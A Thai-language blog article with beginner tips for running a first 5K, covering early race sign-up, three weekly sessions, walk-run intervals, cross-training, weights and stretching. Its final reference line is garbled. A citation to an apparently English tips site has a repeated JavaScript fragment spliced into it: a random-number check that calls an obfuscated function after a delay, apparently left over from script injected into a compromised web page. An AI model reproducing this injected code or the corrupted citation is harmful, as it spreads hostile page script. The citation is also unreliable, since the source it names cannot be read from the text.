First 5K : เทคนิคง่ายๆ สำหรับคนอยากเริ่มวิ่ง 5 กิโลเเรก

ปีใหม่ใกล้เข้ามาแล้วในเวลาอีกไม่กี่เดือน อยากเปลี่ยนตัวเองเป็นคนใหม่ เริ่มต้นออกกำลังกายด้วยการวิ่งถือเป็นเรื่องที่ยอมเยี่ยมและเป็นแผนการที่สามารถทำได้ไม่ยาก สำหรับมือใหม่ที่กำลังเข้าสู่โลกแห่งการวิ่ง เราแนะนำให้เริ่มจากระยะ 5 กิโลเมตรก่อนเป็นอันดับแรก จากนั้นค่อยไต่ระดับไปเป็น 10K จนถึงมาราธอนต่อไป

First 5K : เทคนิคง่ายๆ สำหรับคนอยากเริ่มวิ่ง 5 กิโลเเรก

1. ยุทธการขึ้นเขียงโดยบังคับ

หากไม่เห็นโลงคงไม่หลั่งน้ำตา หากไม่เห็นวันต้องลงวิ่งก็คงไม่ซ้อม (แนะนำว่าวันที่สมัครควรไปกันเป็นกลุ่ม หรือถ้าสมัครออนไลน์ก็ตาม ให้เพื่อนๆ คอยกดดันตัวเรา) ยังคงเป็นประโยคที่ใช้ได้กับนักวิ่งมือใหม่ เวลาลงสมัครงานอย่างเป็นทางการแล้ว มันจะมีแรงกดดันที่ช่วยบังคับตัวเองให้วิ่ง ถ้ากลัวว่าเราอยากจจะโดนงานวิ่งก็ให้ลองแชร์ทางโซเชียลอีกที จะได้ไม่มีข้ออ้างหนีงานวิ่ง และอย่าลืมให้เวลาฝึกซ้อมประมาณ 1-3 เดือนสำหรับการวิ่งระยะ 5K

2. ฝึกวิ่ง 3 ครั้งต่อสัปดาห์

นักวิ่งมือใหม่ไม่ต้องทุ่มเทฝึกซ้อมวิ่งทุกวัน เดียวร่างกายจะพังเอา เอาเวลาฝึกซ้อมแค่ 3 ครั้งต่อสัปดาห์ก็พอ โดยทั้งนี้เราคววรมีวันฝึกซ้อม Fast Day หรือวันฝึกวิ่งเร็ว หรือจะเป็นการเดินเร็วก็ได้ เริ่มต้องเอาแค่ระยะ 400 เมตรก่อนหรือสัก หนึ่งรอบสนามวิ่งมาตรฐาน ต่อมาก็ควรมีวันฝึกความแข็งแกร่งให้กล้ามเนื้อหรือ Strength Day เป็นวันวิ่งธรรมดา กลางๆ ไม่ต้องใส่สุดแรง แต่เพิ่มความชันขึ้นมา เพิ่มการวิ่งขึ้นเนินหรือวิ่งขึ้นลงบันได วิ่งขึ้นลงสัก 1-2 รอบ หรือจะจับเวลาสัก 10 – 15 นาทีก็ได้ แล้วค่อยๆ เพิ่มขึ้นไป สุดท้ายก็วันฝึกความอึดหรือวัน Endurance Day เป็นวันวิ่งยาว ช้าๆ เบาๆ แต่ให้ระยะทางไกลที่สุดเข้าไว้ มือใหม่อยากจจะวิ่งสัก 1-3 กิโลเมตรในตอนแรก จากนั้นค่อยเพิ่มเป็น 3-5 กิโลเมตร

3. เดินบ้างก็ได้

พยายามผสมผสานการเดินและการวิ่งเข้าด้วยกัน ถ้าวิ่งแล้วรู้สึกไม่ไหวก็อย่าฝืน ให้ใช้วิธีการเดินสลับวิ่งแทน หรือจะเป็นการเดินเร็วที่เรียกว่า Brisk walk ก็ได้ พยายามปรับจังหวะวิ่งและเดินเป็นขั้นเป็นตอนไป อย่างเช่นวิ่ง 200 เมตร เดิน 100 เมตร สลับกัน เมื่อเราเริ่มแข็งแรงขึ้น ก็ให้ลดระยะเดินลง ปรับให้ระยะวิ่งเพิ่มมากขึ้น

4. เล่นเวทและฝึก Cross training

เพราะการวิ่งไม่ใช้แค่การใช้ขาอย่างเดียว แต่ยังมีกล้ามเนื้อมัดอื่นๆ แทบทุกส่วนในร่างกายที่ต้องใช้งานเวลาวิ่ง การฝึก cross training จะช่วยเพิ่มความแข็งแกร่งของข้อต่อและเอ็นยึดต่างๆ ความอึดและเพิ่มอัตราการรับออกซิเจนให้สูงขึ้น ตัวอย่างการฝึกก็เช่น การฝึกปั่นจักรยาน ว่ายน้ำและการเล่น Elliptical trainer เพราะถ้าฝึกวิ่งอย่างเดียว เราก็จะใช้กล้ามเนื้อชุดเดิมๆ ซ้ำไปซ้ำมา

การฝึกเล่นเวท มีหัวใจหลักก็เพื่อเพิ่มความแข็งแรงให้กับกล้ามเนื้อ เอ็นและเนื้อเยื่อยึดโยงต่างๆ เพื่อป้องกันอาการบาดเจ็บที่จะเกิดจากการวิ่ง สำหรับมือใหม่ทดลองค้นหาวิธีการฝึกเวทแบบ Full Body ในเวบหรือจะบนแอพก็ได้ ฝึกสัก 8-10 ครั้ง ทำ 3 เซต ในหนึ่งสัปดาห์ก็ฝึก 2-3 ครั้ง และการฝึกเวท ก็ไม่ได้หมายความว่าเราจะต้องถือลูกตุ่มหรือดรัมเบลเสมอไป การใช้น้ำหนักร่างกายหรือ bodyweight training ก็ถือว่าเป็นการเวทอย่างหนึ่งเหมือนกัน

5. ฝึกการยืดเส้น

การทำ stretch หรือยืดเส้นยืดสาย จะช่วยคลายมัดกล้ามเนื้อลง เพราะเมื่อเราฝึกมากขึ้นเท่าไหร่ มัดกล้ามเนื้อจะรัดตัวแน่นขึ้น ขาดความยืดหยุ่น และการฝึกยืดเส้นไม่ได้มีแค่ช่วงเวลาทำวอร์มอัพและคูลดาวน์เท่านั้น ( เวลาทำวอร์มอัพและคูลดาวน์ เราจะช่วยปลุกกล้ามเนื้อให้พร้อมกับการวิ่งและทำคูลดาวน์เพื่อคลายกล้ามเนื้อและการเต้นของหัวใจให้สู่สาวะปกติ) แต่สามารถทำได้เกือบทุกวัน แนะนำเวลาหลังจบการวิ่งเป็นหลักหรือก่อนนอน โฟกัสกล้ามเนื้อ Upper leg อย่าง hip flexors และ hamstrings อาจจะมีน่องด้วยก็ได้ นอกจากนี้การฝึกโยคะก็เป็นทางเลือกที่ดี เราจะได้ฝึก Strength และ Stretch ไปในตัว

เมื่อวันแข่งขันมาถึง อย่างแรกที่ต้องทำคือ ลืมเรื่องการทำ performance ที่ดีที่สุดไปซะ เป้าหมายแรกของเราคือ วิ่งอย่างไรให้จบครบระยะทาง มือใหม่หัดวิ่งควรเริ่มจากการวิ่งเบาๆ และคงที่เพื่อเก็บแรงไว้ก่อน เพื่อความสบายใจ ลองหามิตรสหายวิ่งไปด้วยกัน จะทำให้การแข่งขันดูไม่น่าเบื่อและสนุกไปด้วยกัน

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anddirtytips.com”>www.quickandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anddirtytips.com